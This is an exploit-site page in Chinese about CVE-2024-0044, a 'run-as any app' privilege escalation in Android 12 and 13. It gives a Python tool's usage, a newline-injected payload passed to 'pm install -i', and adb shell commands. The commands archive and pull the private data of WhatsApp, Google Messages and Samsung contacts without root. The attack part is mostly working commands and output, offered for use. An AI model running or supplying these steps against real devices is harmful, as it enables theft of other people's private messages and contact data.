## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-K4RAN909-CVE_2024_0044
## CVE 2024 0044
CVE-2024-0044,在 PackageInstallerService.java 文件的 createSessionInternal 函数中被发现,是一个影响 Android 12 和 13 的高危漏洞。该漏洞允许攻击者执行“以任意应用身份运行”攻击,导致本地权限提升,无需用户交互。该问题的产生是由于 createSessionInternal 函数中存在不当的输入验证。攻击者可以通过操纵会话创建过程来利用该漏洞,可能获取对敏感数据的未授权访问,并在受影响的设备上执行未授权操作。
该漏洞由 Meta security 发现
漏洞利用的概念验证由 Tiny hack 总结并分享
关于安全补丁的详细信息可在 Android 安全公告 中找到
## 前提条件
1. 在手机上启用 USB 调试,并使用 USB 数据线或无线调试将其连接到您的机器
2. 下载任意一个 APK 到您的机器上,您可以使用 F-DROID
## 如何使用该工具
root@kitploit:~
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
`-P` 用于指定您想要以之身份运行的目标包名
`-A` 用于指定要推送到设备中的 APK 文件
## 漏洞利用
运行该工具 `python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk`
将会生成一个类似这样的 `payload.txt` 文件
root@kitploit:~
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
#### 该工具自动完成了部分操作,其他部分则需要手动完成。您可以在生成 payload 后退出,然后手动运行所有命令,或者按照提示继续操作
### 接下来,您需要使用 adb shell 连接到设备,粘贴 payload,并确保在最后一条命令后收到 `Success` 消息
root@kitploit:~
pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
### 接下来,我们使用以下命令获取 WhatsApp 数据
root@kitploit:~
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
创建一个临时目录:`mkdir /data/local/tmp/wa/`
创建一个 tar 文件占位符:`touch /data/local/tmp/wa/wa.tar`
设置开放权限:`chmod -R 0777 /data/local/tmp/wa/`,以确保任何用户都可以对该目录进行读、写和执行操作。
切换用户上下文:`run-as victim`,以获得与 "victim" 用户相同的权限。
归档目标应用程序的数据:`tar -cf /data/local/tmp/wa/wa.tar com.whatsapp`,创建 WhatsApp 数据目录的 tarball。
### 最后拉取数据
`adb pull /data/local/tmp/wa/wa.tar`
您可以使用 `7z` 或其他工具解压数据
您可以使用 Whatsapp chat exporter 将其转换为 HTML
这样,无需 root 权限即可获取设备上的 WhatsApp 数据
# 拉取 Google 消息
只需按如下方式更改包名
root@kitploit:~
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
按照上述说明操作,拉取 `wa.tar` 文件后解压,进入 `com.google.android.apps.messaging/databases/bugle_db`,使用 sqlitebrowser 或其他工具查看对话
# 拉取联系人
已在三星设备上测试。对于其他设备,请检查联系人提供者的包名。
root@kitploit:~
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
按照上述说明操作,拉取 `wa.tar` 文件后解压,进入 `com.samsung.android.providers.contacts/databases/contacts2.db`,使用 sqlitebrowser 或其他工具查看联系人。该数据库文件包含所有用户电子邮件帐户信息及联系人列表